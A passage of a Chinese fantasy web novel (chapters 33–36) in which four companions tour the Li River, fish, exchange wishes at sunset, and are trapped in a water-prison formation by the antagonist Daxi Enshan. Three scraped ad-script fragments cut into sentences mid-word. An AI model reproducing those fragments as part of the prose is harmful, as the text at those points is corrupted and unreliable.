元宿央气得挥了挥拳头,随后一把还在桌子前磨磨蹭蹭收钱的秋风拽了过来,“……懒得理你。太嵇也回来了?” 温卓应了一声:“嗯,与我一同回来的,现在大概还在午睡。” 秋风正喜气洋洋地数着银两,最后笑得露出一对虎牙朝元宿央道:“元兄,八百两!” 元宿央黑着脸轻踹他一脚,“滚蛋,那里边少说三百两都是我的,少来刺激我。” 秋风躲也不躲,揉揉被踢的小腿肚,就嘿嘿笑。 很快元宿央一转头,哼哼唧唧朝温卓说道:“最近天气也转暖了,听秋风说云州西南风景早已大好,便想着有空可以去踏青……你和太嵇要不要一起?” 随后大概是觉得这话太落面子,又找补似的一句:“……不愿去就直说,其实也不是很想带着你们。” 秋风听得一阵疑惑,“元兄,你之前不是这么说的啊?你明明就是要等……” 没等秋风这拆台的话出口,元宿央已经大手一挥把秋风的嘴捂了个结结实实。 温卓看着面前两人掐架耍宝,眼神几乎称得上是温和。 阑音也好,这个瞬间也好。 居然真让他觉得一切都有得盼起来。 真不赖啊。他想。 33.落日 三人一路慢行,温卓也借此机会又将栾恪心栾恪云之事原原本本又复述给了元宿央和秋风。 秋风今日没带斗篷面纱,两只浅棕色的眼睛不遮不掩露着。 他眼眶浅,听闻此事,日光下闪闪的泪光登时便清晰可见。 元宿央看秋风眼下的两个泪坑,颇为于心不忍,想了很久拍拍秋风的肩:“别哭。人间之事皆如此,你要习惯。” 随后他才又转头问温卓道:“栾家那位兄长的意思,是今后不再来宗门了?” 温卓道:“嗯,不再来了。” 元宿央这人虽然看起来很是没心没肺,但实际上确是心细如发,操的心比谁都多。 他敏锐察觉到气氛有些僵硬,看了会儿温卓,拿肩膀撞了撞他,“那也好,各人有各命,你也别想太多了。” 其实温卓这人情绪一向是很克制,也已经是在有意识地、不怎么带感情地将这件事讲给别人听。 可似乎每一个见到温卓的人,都还是会告诉他别太难过。 等到几人终于到了药谷虚空山之上时,玉阑音已经醒来了。 温卓敲门进屋之时,玉阑音正抱着一床薄薄的蚕丝被,缩在火炉旁的摇椅里看着书。 听到来声,他轻轻抬头,“这么快就回来了?” 说完又像温卓身后一看,笑道:“还顺道多带来了两位客人。” 玉阑音面色正好,而且罕见地用一支素簪子将头束了起来,露出了清瘦的下颚。 他温和地笑起来,面若好女,莫名叫人想到一词——“金屋藏娇”。 刚想到这里,元宿央为自己这惊世骇俗的念头起了一身鸡皮疙瘩。 金屋藏娇。 他疯成什么样了这是,吃了什么熊心豹子胆才敢这么编排玉阑音。 不过虽然元宿央心里在这儿开着戏班子,但面上倒是也不显。 再加上这段时间确实心里也记挂着玉阑音,如今终于见了面,连忙凑上前,“快让我看看,这没缺胳膊少腿吧?” 玉阑音好笑地抬抬胳膊抬抬腿:“很可惜,依然健在。” 元宿央上上下下检查了玉阑音一番,终于放了人,半是不服地睨了温卓一眼,附带冷哼一声,“还行,囫囵个儿回来的,气色也挺好。勉强算他用了些心吧。” 玉阑音闻言笑着摇摇头,拿书卷点了下元宿央的臂弯,“你别老挑事儿,多大的人了。” 不过温卓似乎对这话很受用,接受程度良好地轻轻一颔首,“的确是用心。谢少掌门夸奖。” 元宿央看见这鬼迷日眼挑衅似的温卓就来气,当即就要提着他的拳头朝温卓招呼了去。 好在玉阑音眼疾手快,十分迅速地一把将元宿央掏了回来。 玉阑音笑眯眯地手下用着寸劲儿,把元宿央拽得几乎是一动也不能动。 他面色依旧极度温和,甚至目光轻巧越过翻着白眼的元宿央,同他身后的秋风和和气气道:“秋风,别来无恙。” 秋风今天编着一头小辫,脸上刺青的纹路依旧,诡丽异常。他身着一袭兽皮长袍,腰间的狼牙犬齿相互碰撞得叮当作响。 他原本在好奇地打量着屋内装潢,忽然听到玉阑音提到了他,连忙转回了头,恭敬地行一个中原人的礼,“见过真人。” “太嵇,你这正读的是什么书?”元宿央探头探脑注意到他手中书卷,十分好奇。 玉阑音时候才松开了元宿央,颇为好整以暇,“凡间的话本子,你要读么?” “话本子?”元宿央一脸嫌弃皱皱眉,“我还以为你在读些什么高深的书,这回怎么有闲情逸致读起这话本了?” 玉阑音卷了卷手上的书卷,“前几日去蜀中的路上,听到街边戏台子唱的竟然是些千年之战、云州结界的新本子,有些在意,便买了两本来看看。” “新本子?”元宿央脸色忽然一变,“这种老黄历居然有人写新本子?这不明显就是……” 他堪堪住了口,神色阴沉难辨。 甚至连一旁的温卓也听出了这话中之意,皱起了眉头。 “不过厌族之辈在嘘声造势,这段日子多加注意便是。”玉阑音似乎不愿就此多言,摆摆手便止了话头,“说说你吧,今日你与秋风两位稀客莅临寒舍,是有何贵干?” 秋风碍于对玉阑音的敬畏,不太敢开口,便拿一双亮晶晶的眼睛示意元宿央。 元宿央被秋风灼热的视线盯得发毛,转回头瞪他一眼。 随后他才同玉阑音道:“四月是踏青的好日子,秋风前些日子又说,云州西南风景秀丽,我便想着去玩玩,前来叫你们二人同去。” 秋风看起来很高兴,“是啊真人,我们那里的山水可漂亮了!” 玉阑音只看着他们笑,转头问温卓:“想去吗?” 温卓点点头:“迎来一个春天不易,游山玩水倒也是不错。” 既然温卓想去,玉阑音自然没有不去的道理,当即便拍了板。 甚至由于他如今身体状态很是不错,灵力又充沛,朝秋风问了个大概位置,便自己落了个缩地阵,带着一群人稳稳落到了云州西南的八桂城。 八桂城外群山连绵,漓水环绕,山水如画。骤然一阵风便是携着潮湿的水汽和树草的腥甜。 一行人登时舒服得打了个寒颤。 这风一吹,温卓立刻反应了过来,手脚也快,手腕一动立刻化了一件薄披风,麻利地围到了玉阑音的脖颈之处。 “水汽寒凉,你体弱,多加注意。” 玉阑音只着一件单层黛色广袖长袍,在这西南的风中,宽大袖摆与袍摆猎猎作响。 他手中抱着个小暖炉,其实不觉得过分寒不可耐。不过他也不舍得负了温卓的一番好心,便由着温卓将他里三层外三层地折腾。 “我们现在还在八桂城内,城内不好看,”秋风落回了自己的地界,立刻便有了几分地主的风范,“我们先出了城,就能看到漓水与连绵数百里的大小峰了。” “八桂城内已然如此漂亮,倒是叫我十分期待八桂山水究竟是何等好风光。”玉阑音揣着双手道歉,“看来这便只能是烦请秋风带路了。” 不过八桂城并不大,一行人乘一辆马车,速度很快地便朝着城外奔去。 约莫过了半刻钟,元宿央将马车帘子拉开一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 缝向外一探,忽然一愣。 “怎么了?”玉阑音见他表情一滞,开口问道。 元宿央瞧着马车外,愣愣地摇摇头,“没怎么,我们已经出城了。” 其他三人便也撩开帘子朝外看去。 这一眼看去,便是再也没能移开眼。 马车此时正沿着漓水飞奔。 漓水边,游人极少,只偶尔一两个穿着红黑色民族服饰的姑娘在江边浣纱。举手抬头之间,姑娘头巾之上,脖颈、手腕处银器叮当相碰。 夕阳之下,入目一副八桂山水画卷,动人心魄。 大小山峦重重叠叠,连绵起伏如大地之龙脊,环抱一条蜿蜒曲折的河流。 天空则是一场浩大绚烂的晚霞盛宴。红金色日光穿过云隙,无数金色箭矢射向大地,静谧又庄严。 玉阑音看着这景色眯了眯眼。 他平日喜好金银玉器、象牙花雕这等工匠手下巧夺天工之物。 可如今真的见到大地碰撞而出的山峦,叹息之时的泪河,他忽然之间便觉得,人类之得意巅峰杰作,在自然之鬼斧神工之前也不过尔尔。 恍惚之时,他略微一偏头,便看到了身侧的温卓。 温卓鼻梁高挺,一半明一半暗,风流倜傥英俊至极。 玉阑音看着近在咫尺的温卓的脸,熟悉间又陌生,叫他略一怔忪。 温卓当即便察觉到了玉阑音略微停留在自己脸侧的目光,他一转头,直直望进玉阑音的眼中。 玉阑音也不躲,同温卓对视一会儿,稍稍一笑。 似乎是暧昧丛生,又似乎只是转瞬即逝。 两人微妙的对峙,最终是温卓先转开了眼。 他复而瞧向这长河落日,终是无言。 他记起那日同元宿央去往陇西之时的落日。 那时他万分思念玉阑音,恨不得与玉阑音比肩,将那落日之盛景悉数塞进他的眼中。 可如今他最思念之人正真的在他身边。 他们甚至正看着同一轮丹曦,火红的夕光照过我,也拂过他。 自从同玉阑音坦白了厌族身份一事后,温卓的疯癫便偃阵息鼓,随之而来的是一种万分持久的平静。 他看着玉阑音睫毛之上的圣光,心神荡漾自然是有,但更多的只是岁月静好的安静祥和。 他立时之间觉得,过去自己不成熟的爱意、仓促的撩拨是多么幼稚。 只要这人能永远在他身边,永远能这么温和地看着月出日落,他死了都愿意。 玉阑音眯了眯眼睛,声音极轻,也不知是同何人道:“真漂亮啊,是不是?” “落日时分,景美自是更甚。”秋风脸上的纹路之上都泛起金光,他也笑起来,“我们这里有个说法,就是落日之时,若是遇上三只鸬鹚并行而飞,这时候许愿定能实现。” 元宿央愣愣地看着漓江之上的竹筏与扑腾翻飞的鸬鹚,久久未言一语。 随后,竹筏之上老翁手一动。 竹筏之前两只鸬鹚、尾部一只鸬鹚,得令而动,忽而展翅而飞,并行飞至五尺之高。 此时落日正好,波光粼粼,风光无限。 34.旧愿 日落其实是很快的。 水畔之上那轮火红金乌很快跃入地平线,金黄色的晚霞变为紫罗兰色薄雾,再之后便是只半缕天光的夜空。 也记不得是何人起意,总之目前四人正一人一个板凳坐在漓水边钓鱼。 玉阑音不好垂钓,便施施然坐在温卓身旁当监工。 “……谁说漓水鱼虾多的?自己出来,别逼我揍你。”已经半个多时辰了,元宿央看着自己空空如也的小鱼篓,牙磨得咯吱咯吱响。 秋风眼睛滴溜滴溜转了两圈,最终认命似的巍颤颤地举了举手:“……是我。” 在元宿央即将奋起之时,他连忙又补充道:“……可是真的很多啊元兄,你看我和温兄的篓子,都要满……啊!” 不说还好,说了之后元宿央的巴掌甚至是蓄了力,加了速给了秋风后脑勺一巴掌。 秋风吃痛,半是不解半是埋怨地拧了元宿央一眼。 城门失火,殃及池鱼。 温卓早习惯了这两个活宝整日上蹿下跳,于是搬着篓子和板凳往外挪了挪,省得这两人声音太响打扰了自己钩上的鱼。 秋风这人死耿直,总是愿意不信邪地和元宿央这人物讲道理:“元兄啊,你……” “你别你你你的,你先闭嘴,”元宿央看得心里堵,摆摆手打断了秋风,随后眼睛往他篓子里一瞄,“先把你那鱼,分我几条。” 秋风:“……” 秋风:“啊?” 元宿央剜他一眼:“不愿意?” “啊,”识时务者为俊杰,秋风忙送不迭点头,“愿意,愿意。” 他扁着嘴,不情不愿地弯腰从自己篓子里往外挑鱼的动作极为缓慢。 ……什么人嘛,自己钓不上来就抢。 秋风一边腹诽,一边恶狠狠在自己筐中捡了两尾最痩最小的鱼,放进了元宿央那比脸还干净的篓子里。 元宿央看他这抠搜劲儿,简直是要气笑了,“你这鱼都没虾大,还能再不出息一点吗?” 秋风看他一眼,又侧目瞅瞅“我自岿然不动”入了禅似的温卓。 他忽然如兔跳起,眼疾手快大手一捞,把温卓篓子里最大的那只出溜一下提起来,扔进了元宿央篓子里。 他的手劲儿极大,直接把这鱼扔出了残影。 “这下满意了吧?”秋风义正言辞,站得笔直同元宿央对峙。 温卓:“……” 方才他那只是一句谚语,但今日这城门失火,怎么居然真霍霍着我的鱼了。 元宿央看着温卓这欲言又止的奇异表情,也顾不上别的了,登时只顾得上呲着牙哈哈傻乐,笑得眼泪都要出来了。 秋风早就心虚地避开了温卓的目光,缄言坐在板凳上,拿着钓竿,假扮自己已不存在。 玉阑音看着他们打闹心里热闹,一直未出声,直到这时才无奈地开了口:“平日都是看着有头有脸的,怎么凑一块儿了活像咬群的马。” 元宿央在一旁笑得脸上已经没有人形,对此充耳不闻。 温卓看了一会儿元宿央,随后起身,把自己篓子里那些大尾的鱼挑挑拣拣全放进了元宿央的篓子。 鱼刚入篓,随之戛然而止的是元宿央放肆的笑声。 玉阑音在一旁未作声,看着温卓闷声哄元宿央的动作,心中一片温情。 但也不知道这孩子究竟是怎么长大的,怎么就……哪哪都这么好,哪哪都这么合他的心意呢。 温卓在一众人的目光之下提着空篓子坐回原位,随后用只有二人才能听到的声音,轻声同玉阑音道:“过后再给你钓些新的。” 玉阑音正出着神,骤然听到这近似与哄人的话,一愣。 这云州西南部,天高路远,传闻瘴气密布,飞鸟难入。 尽管他已经活了不知多少年岁,但今日其实也是他头一回来到此处。 不过出乎他意料,此刻,他甚至居然不是一个人前来。 在他的身旁,居然有着几位可以称为“朋友”的人。 他从小便知道自己不是个风趣活泼之人,他不爱说笑,不爱玩闹,似乎总是与外界的一切格格不入。 在更多时候他规矩颇多,在外人看来很是清高自傲。难免惹人厌。 长大后依旧如此。 温卓很小便住在药居,他整天小陀螺似的围着玉阑音转,衣食住行样样不落。 尽管面上不显,但玉阑音其实对此极为受宠若惊。 因为他从未觉得自己是需要被用心对待的一个人。 他允许任何人对待他的任何方式。 无所谓是谎言是伤害,毕竟总是身外之物,毕竟这些人总要离开,他从不在意。 或许是因为得到的太少,或许是因为太过珍贵。 惶恐数十载后他终于幡然醒悟,原来这世间最叫他难以淡然处之的,居然是他面前这一颗沉甸甸的心。 他于是再一次懦弱地、可耻地逃避了。 玉阑音转开同温卓对视的眼睛,佯装无事地看向水天交接的边界线,不语。 元宿央这是因为莫名其妙得了一竹篮的鱼,大概是扭捏,大概是歉疚,总之如今正捏着个吊杆继续坐在江边装模作样,直到垂钓结束都没再作声。 垂钓结束后已是入了夜。 由于秋风是一介凡人,未辟谷,其余三人恰巧也都是愿意迁就别人之人,很快便一拍即合地决定自己动手烤鱼作晚饭。 不过四个人再怎么海量也吃不上三娄子鱼。而狩猎和捕捞一样,讲究抓大放小。 于是温卓挑挑拣拣将篓子里的小鱼苗放回漓水中,只留下了些大鱼。 这一幕正巧被玉阑音收入眼中。 玉阑音眯着眼睛,不受控地一哂。 这世界上怎么能有这么可爱的一个孩子? 夜里天凉,邻着水更是湿寒。 温卓手脚快,没等元宿央挽好袖子,他已经捡回来了好些柴火,随后十分熟练地生起了火,搭好了烧烤架子。 没有预想中的分工,温卓一人动作之迅速叫人叹为观止。 其他人莫名其妙有些无事可做,只能竖在原地被迫游手好闲起来。 慢半拍的元宿央半尴不尬地又把袖子放了下来,逞强地嗫嚅:“……是他手脚太麻利了……” 秋风极有自知之明,叹着气拍拍元宿央:“元兄,果然咱和温兄各方各面都还是有差距啊。” 西南地界水汽重,正值夜时,水雾升腾,生火其实很是困难。 篝火一开始只是火星,温卓细心盯着,添柴防风折腾了一会儿,火才噼里啪啦像模像样烧起来。 江边仿佛绽放了一朵炽热的红花。 温卓在火光中转头,问玉阑音的话很是没头没尾:“好一点了吗?” 闻言,玉阑音才恍然察觉,自己手里的炉子已经凉了很久了,抱着炉子的双手也难免指尖发寒。 不过他的愣神只一瞬间。 他惯常善于掩盖自己的情绪。 玉阑音搂了搂披风,伸出手往滚烫的篝火堆旁凑了凑,笑道:“好多了,很暖和。” 温卓看他一眼,似乎是松了口气,“那就好。” 火生起来之后,一行人里,由于元宿央和玉阑音从小两手不沾阳春水,烤鱼的事情便自然而然地落到了秋风和温卓两人头上。 尽管玉阑音已经吃了温卓十几年的饭,但说来惭愧,这还是他第一次亲眼见温卓下厨。 他看着温卓十分熟练地给鱼去鳞,开膛破肚,掏出了一些猩红的内脏,随后又将这鱼虾都板板正正穿到了细木枝上。 麻溜地仿佛像是干了一辈子的海边逮虾户。 玉阑音看着他这贤惠的样子,心下又是好一阵感慨。 “对了,太嵇,”元宿央一边烤着火一边闲聊似的开口,“先前听温卓说你在去蜀中的路上遇袭受伤了?是怎么一回事?伤到哪里了?” “不太要紧,就伤着了胳膊,很快就痊愈了,”玉阑音道,“那日的袭击者是一队鬼士,我们轿辇又正巧踩进了提前布好的绝言阵里。不过幸好鬼士人数不多,不算难缠。” “鬼士?”元宿央一愣,“这么古老的东西,居然还有人在用?” 这时温卓烤好了一只不大不小的河虾,晾了晾便送到了玉阑音手中。 玉阑音道一声谢谢,但他仅仅也只是将虾接过,许久都没有下一个动作。 温卓只是打眼便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已了然。 这人指定是不愿意下手去剥虾呢。 他无奈轻笑一声,又从玉阑音手里把虾拿了回来,“我来吧。” “未至栾府之时,我只猜测这可能是栾家为了阻挠我们进蜀中设的,但那日栾府除了厌族法阵以外,并无鬼士的踪影,”玉阑音道,“这两日看了那千年之战的话本子,倒是让我有了些其他的猜测。” 元宿央蹙眉,“温卓说,你怀疑十方宗内有厌族?” “厌族?那倒不至于,”玉阑音一笑,“我今日用灵力探查了整个十方宗,发现的唯一一个厌族——” 他眸光一转,朝自己身边递了个眼神:“——这不正在我身边坐着呢么?” 忽然被点了的温卓脊背一僵,随后无奈抬头道一声:“阑音啊……” 玉阑音一哂。 一旁正专心烤鱼的秋风动作猛地一顿。 他眼睛瞪得奇大无比,滴溜溜地看看这个看看那个,最后则是久久停留在厌族温卓的身上。 他似乎是听到了什么不得了的秘密。 这几个人并没有打算瞒着他,他们极为疏松平常的语气,叫秋风忽然有了一种“我一定要守护好秘密”的莫名的使命感。 “……未必就不是他呢。”元宿央看一眼温卓,白眼一翻,“不过既然不是厌族,那你便是怀疑宗门内有内鬼?” 这时温卓将剥好的虾递给了玉阑音。 “毕竟那绝言阵如此精确落在我们行进的路上,怎么想都很蹊跷。但这也只是猜测,有待查证吧。”玉阑音自然地将虾接过,“谢谢。” 元宿央点点头,随后忽然想到了什么事情,笑道:“不说这些了,话说,方才那三只鸬鹚齐飞,你们都许愿了?” 秋风烤好了两只鱼,顺手分了一只给元宿央,乐呵呵道:“不信白不信,当然许啦,我许的愿望是,希望记者一族生生世世顺遂平安。” 元宿央接过烤鱼,趁着热咬了一口,这才含含糊糊道:“唔,挺好,听着比我有境界多了。我当时想的就只是,最好这辈子都不要当玄天门掌门,自己在外游山玩水多快活。” 玉阑音看他一眼,没忍住轻笑一声。 他不语,但只能说此时无声胜有声。 “滚滚滚,把你那晦气的表情收起来,别以为我不知道你又在心里骂我呢。”元宿央大手一摆,“温卓呢?没许个愿?和太嵇恩恩爱爱一辈子啊的这种?” 他话音还未落,温卓手里烤了一半的鱼突然没有征兆地掉到了地上。 他一愣神,道:“抱歉。” 温卓弯腰去捡鱼的动作有点慢吞,期间目光不着痕迹扫过玉阑音的脸。 好在玉阑音面上似乎没什么异样,他依旧在同元宿央笑道:“真是嘴下不饶人,这么快就要在我这儿找场子了?” “听你这以己度人的话,本少爷哪是这种人。本来就是嘛,”元宿央拿鼻孔一指温卓,“你自己睁眼看看,只要你在他旁边的时候他那不值钱的样,两只眼睛巴不得往你身上转八百遍。” 温卓心虚地将停留在玉阑音脸上的目光迅速收回。 “我没许愿。”他道。 元宿央诧异看他一眼:“哦?为什么?是不信这个?” 温卓把脏了的鱼扔给了一旁草丛里的一只白猫,一边道:“我先前许过愿,可惜当时年纪小,许得不太准确。如今只想着把那愿望改一改,朝着鸬鹚再许一遍估计不会管用。” 元宿央听后颇为理解,“哦,这倒也对。一桩愿不拜两家神,准不准得咱先不提,可别犯了忌讳。” 温卓没说是也没说不是,只重新拿起新一条鱼放在了烤架上。 这鱼刚杀不久,淅沥沥的血水还在往下滴。 玉阑音目光一直追随着那滴落的血水,似乎极为专心又似乎是在走神。 一簇火花轻微爆裂之时,他的耳畔忽然响起了温卓的声音。 温卓的声音清晰平和,没有任何风声与失真。 是传声术。 温卓略微一转头,玉阑音毫无防备地同他对视。 “不要百岁,要千岁万岁,生生世世,要往后一生都如此刻。阑音,当年的愿望我这么改,行吗?” 35.迷雾 玉阑音朝对面的元宿央和秋风看一眼。 两人正低着头乐呵呵地吃着烤鱼,丝毫没有注意到这边二人只见的气氛变化。 玉阑音复而又将目光转向温卓。 这句话温卓曾经说过很多遍,但在此之前,玉阑音一直以为温卓大约是在要他一个承诺。 他给不出,于是大部分时间都是敷衍了事。 但此时非彼时。 今天温卓说这些话的本意似乎并非如此。 “抱歉,一一,我只能说……”玉阑音同温卓对视,“我知道了。我会尽力。” 不过出乎他意料的是,温卓听到这话忽然神色一松,甚至是忽然低头笑了一下。 这次他没有撒谎。 温卓颇为愉悦地想。 “好。”他道。 两人的交谈是传音术进行的,对面元宿央和秋风没有听到分毫。 于是在他们看来,四人之间的沉默其实已经很久了。 秋风正吃着鱼,看看这个看看那个,谁也不说话,便没话找话似的自己开口问道:“真人你呢?没有许愿吗?” 玉阑音乍然被提到,回了神,朝秋风看去。 闻言元宿央吃鱼的动作一顿,稍微抬起眸子不着痕迹扫过玉阑音的脸。 他眯了眯眼睛,状似无意地开始打马哈,“哎呀秋风你看你,咱们太嵇像是那种信神神鬼鬼的人吗?肯定是没许愿了,是不是,太嵇?” 只见玉阑音轻笑着点点头,“的确,当时在想事情,没来得及。” 其实说到这里就是点到为止了,但是耐不住秋风是个没眼力见的棒槌。 他眨巴眨巴眼睛,“想事情?什么事情呀?” 元宿央想捂他嘴的手慢了一步,就这么停在了半空中。 元宿央:“……” 玉阑音轻笑一声。 他安抚似的看一眼元宿央,随后才道:“也不是什么特别的,大概就是……活着真好,这种感觉吧。” 元宿央一愣。 就连温卓都侧过了脸看向玉阑音。 秋风一个人深以为然地点点头,“哦,原来是这样,我也经常有这种感觉。” 玉阑音看着秋风,笑了起来,“那很好。” 忽然,一阵狂风咆哮着从江面上吹来,其力甚大,直接掀翻了整个篝火堆。 原本平静的江面也仿佛是水下有了什么蛇蛟,巨浪滔天。 温卓首先反应了过来,他凌厉跃起,一把将玉阑音护在了自己身后。 元宿央压低身形勉强稳住了身形,百忙之中抽空去看玉阑音,见他已经被护了个严实,稍稍放下心来,随后又大手一伸拽了一把孱弱的秋风,省得他被这妖风吹跑。 漓水随着狂风开始向他们所在的岸上卷来,掀起一阵阵一人高的水浪。 众人齐齐向后退了几大步,堪堪擦过浪花的尖端,身上溅上不少水渍。 玉阑音神色一凛,他在呼啸的风中沉声道:“水下有东西。” 温卓听了玉阑音的话,二话不说直接将灵气运满,霎时间,他的周身一层极度明亮与磅礴的暗红色光辉暴起。 毫无防备的元宿央直接被温卓的这阵灵压震得胸口一闷。 哪怕是细数整个仙盟,元宿央如今的修为也能属中上乘,断不应该会被一阵灵气压得喘不过气。 他按了按胸口,极为不可思议地侧目朝温卓看去。 这还未百岁的一个孩子,怎会已经是如此可怖的修为了? 玉阑音在温卓的背后,也被他这骤然腾起的灵气带动的气流冲地发丝飞舞。 他从容地伸手拢了拢头发,盯着温卓的后背极为满意地眯了眯眼。 温卓眼中闪过一丝红光,他骨节分明的双手并掌后一抬。 “哗啦——”一阵水浪排物之声响起,温卓面前似乎是凝起了一个无形的巨型屏障,直直挡住了那越来越高的水浪。 随后他并掌变爪,右手一按,那无形壁障巨力向前一推,将水浪悉数压至距离四人足够远的位置。 正当几人以为得以喘息片刻之时,忽然之间,那风与水浪再度加急,一丛水柱忽然盘旋升空。 脚下此时也传来沉闷的地鸣,大地开裂,裂缝之中忽然迸发出两丛同样的水柱,三从水柱相互缠绕,将四人困于一方圆百里的巨大空间之中。 一时之间,地动山摇。 “是水牢阵!”玉阑音此时的脸色并不好看,甚至隐隐蹙起了眉头,他朝众人低声喝一声,“时刻小心!” 话音将落,还没等其他人反应过来,水牢阵内迅速升腾起一阵浓厚的迷雾,直接将众人眼前猛成了一层雾白色,再看不到其他任何东西。 温卓在雾升起的一瞬间便神色一变,他反应得已经十分迅速,他极快地朝玉阑音伸出手试图抓住他:“阑音!” 可是就在他伸手的瞬间,他眼前已经是一片浓厚的白,玉阑音就在一瞬间便被浓雾吞没。 玉阑音在最后时分其实听到了温卓的叫声,他迅速得声而动,朝温卓的方向转了头。 只是那时候浓雾已经厚重到看不到温卓的脸了。 他四下看看,只见四周皆是叫人看不清远近的迷雾。 他朝温卓最后的方向了道一声:“温卓?” 如他所料的没有回音。 水牢阵。以水为笼的高级控制型阵法,其笼坚固无比,并且内可封锁修士灵力。 水牢阵除阵眼外,阵内还有六面阵旗,阵旗之间以灵气作引。 水牢阵内大多有迷雾阵作为阵中阵。迷雾阵阻视断声,可使阵内之人丧失对时间与空间的判断。 若阵法不解,那么其内之人便只有活活被困而死一种结局。 玉阑音神色之凝重是前所未有。 他方才没能有机会将此阵同其他三人讲清楚,误入阵法最怕的便是慌神,也不知他们三人对阵法了解多少,能不能平安。 如此的想法叫玉阑音心下更是忧心。 他抬手轻轻按一按眉心,随后心念一动,将一直抱在手里的暖炉放进了识海。 破水牢阵的方法只有两种,其一是落阵之人自解,其二是移阵眼、破六旗,即要将阵眼之物向东南方移动三寸,并且同时破坏六面阵旗。 如今他们连落阵之人是谁都毫无头绪,找此人解阵定然是天方夜谭。 于是当下唯一的方法便是移阵眼、破六旗了。 玉阑音暖炉收了起来,两手骤然一松,一时之间还有些不太适应。 他不自然地捻了捻手指 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 由于玉阑音不确定其他人的行踪,也不知道其他人是否知道破阵之法,所以他开始缓慢地朝前走去,试图自己先行开始寻找阵眼和阵旗。 他一步一步向前探着,随时注意着脚下和身边。 但是许久之后依旧是一无所获。 直到很久很久。 直到他已经不再知道自己走了多久,也不再能知道究竟已经走到了何处。 玉阑音难得地头疼了起来。 尽管在十方宗任长老之时玉阑音没收过弟子,但由于前来求术问道的门客众多,再加上他不是个会藏着掖着的人,于是往往是知无不言尽心尽力。 但对于水牢阵这种阵法,即便是那时候的他也时常讳莫如深。 高级控制阵法之所以被称为高级,是因为它们的破阵之法的要求极为严苛,已然同无解无甚区别。 而阵法无解是为误。 只叫人穷途末路绝望至死。 玉阑音并不欣赏这种阵法。 但谁能想到,这回被困在阵内的居然是他自己了。 思念至这段往事,玉阑音不由地兀自叹了口气。 不过好在他不是个丧气的人,相反,他极其有耐心。 他很快便调整好了状态,开始继续向前走去。 不过这次,刚向前走了不久之后,他敏锐地觉得身后似乎是有什么东西在逼近他。 可能是人。 水龙阵内听不到声音,他这大多也只是基于自己的习惯和直觉。 但尽管如此,玉阑音还是十分谨慎地转头向后看去。 目力范围内依旧是一片空白,看不到任何的光影,也没有任何的声音。 玉阑音担心这身后的是走散了的温卓等人,怕一不留神便擦肩而过了,于是他很快地伸出了手往四周探了探。 结果依旧是什么也没摸到。 玉阑音心中暗道自己疑神疑鬼,便欲将手收回来。 可就在这时,前方的浓雾中忽然钻出了一只净白修长的手,他之分精准地牢牢抓住了玉阑音的手腕,用力极大。 再然后是一节玄色衣袖。 这人将身形逼近玉阑音,直到很近很近之时才进入了玉阑音的可视范围。 那是一张极为英俊又浮着显而易见的忧虑的脸。 玉阑音目光在他的脸上扫过,“温卓?” 温卓听不到声音,于是只能从玉阑音的口型判断他是在说什么。 他点点头:“是我。” 不过温卓似乎对这阵法也有一些了解,他甚至都没需要玉阑音同他细细解释,便率先口型开口:“我们一起。我找阵眼,你找阵旗。” 玉阑音一时没说话。 他的目光轻掠过温卓的脸,略微一顿,随后再是移到了温卓拉着他的手上。 但温卓似乎也没在等他的回话。 他刚说完便已经转过了头去,不由分说拉着玉阑音继续向前走去。 温卓的步子不小,走得并不算慢,他似乎已经对水牢阵了如指掌了。 不过玉阑音看起来也不疑有他,就任由着温卓拉着他的手往前走,始终未发一言。 良久,玉阑音伸出右手,在温卓牵着他的那只手的手背上写字道:“你是谁?” 36.针锋 刚写完最后一笔,前面那大步流星之人便忽然停下了脚步。 这人并没有松开玉阑音的手腕,只似乎是转过了头,但是雾气太浓,玉阑音看不见他的脸。 玉阑音并不喜欢这种陌生的肢体接触。 他稍稍转了转手腕,但是面前这人的手用力极大,他几乎没能移动分毫。 忽然,玉阑音听到了对面这人开了口:“你觉得呢?” 他的声音温和纤细,句尾语调微微上扬,仿佛是愉悦至极。 不是温卓。 而且此人居然能在迷雾阵中说话自如。 玉阑音先是一怔,随后便是神色一凛。 这人是阵主。 就在这人说话的同时,他手腕那一截玄色的衣袍无风自动,其上忽然一阵灵力流转,随后便变成了血色的绛红色宽大袖摆。 他原本干净修长的手上也随之多了三根绕指的银链,汇合与手腕处,挂着三颗银铃。 玉阑音在见到那一抹绛红色之时,便已然神色一凝。 这人像是能透过迷雾看到玉阑音的表情似的,忽然极为兴奋地一笑,率先松开了玉阑音的手腕,离去之际撩拨似的勾了勾玉阑音的食指。 收手的动作惊动了他手腕处的银铃。 银铃晃动,铃啷作响,在一片寂静中莫名可怖。 玉阑音无法出声,其实一直是沉默地站在原地,此刻却终于有了动作。 他的眉头从未蹙得如此之紧过,甚至是有些恼怒地用了力收回自己的手。 面前之人也不生气,反而像被他的动作极大地取悦到了,声音清扬异常,“玉阑音,别来无恙啊。” “玉阑音”三个字他咬字极重,仿佛曾经在唇齿之间咬碎过千万次。 玉阑音按了按手指,同时也默默按下了自己就要呼之欲出的糟糕情绪。 好半晌,他才似乎是极轻地呼出一口气,面色恢复如常,笑道一句:“好久不见,达奚恩山。” 听到这个名字,达奚恩山眼中忽然闪过一丝莫名又奇诡的暗光,似疯狂又似追忆,“达奚恩山……我居然还能在你嘴里听到这个名字,可真是——恶心啊。” 玉阑音听到这话,忽然一点发脾气的劲头都没有了。 他久违地感觉到了一丝无力的疲惫,随即微不可察地轻叹一口气。 达奚恩山十分精确地捕捉到了玉阑音叹气的动作,他眉头一拧,身形一动带起了一阵潮湿的风,逼近玉阑音。 如今玉阑音正全神贯注地警惕着达奚恩山的动作,断是不会被他如此得手第二次。 他迅速向后撤步,身形一偏躲开了这人猛然伸过来的手。 达奚恩山手抓了一个空,略微在空中一僵,随后他突然像是极为满足地大叹气一声,将手慢慢收回。 “许久未见,你还是这么的……”他的语调陡然之下,“……令人厌恶。” 玉阑音正欲张口之时,他的右侧突然响起一阵极为尖锐的破风声。 “咻”一声,一束极快的银色光束划破了玉阑音面前的迷雾,十分精准地向他面前这红袍人袭来。 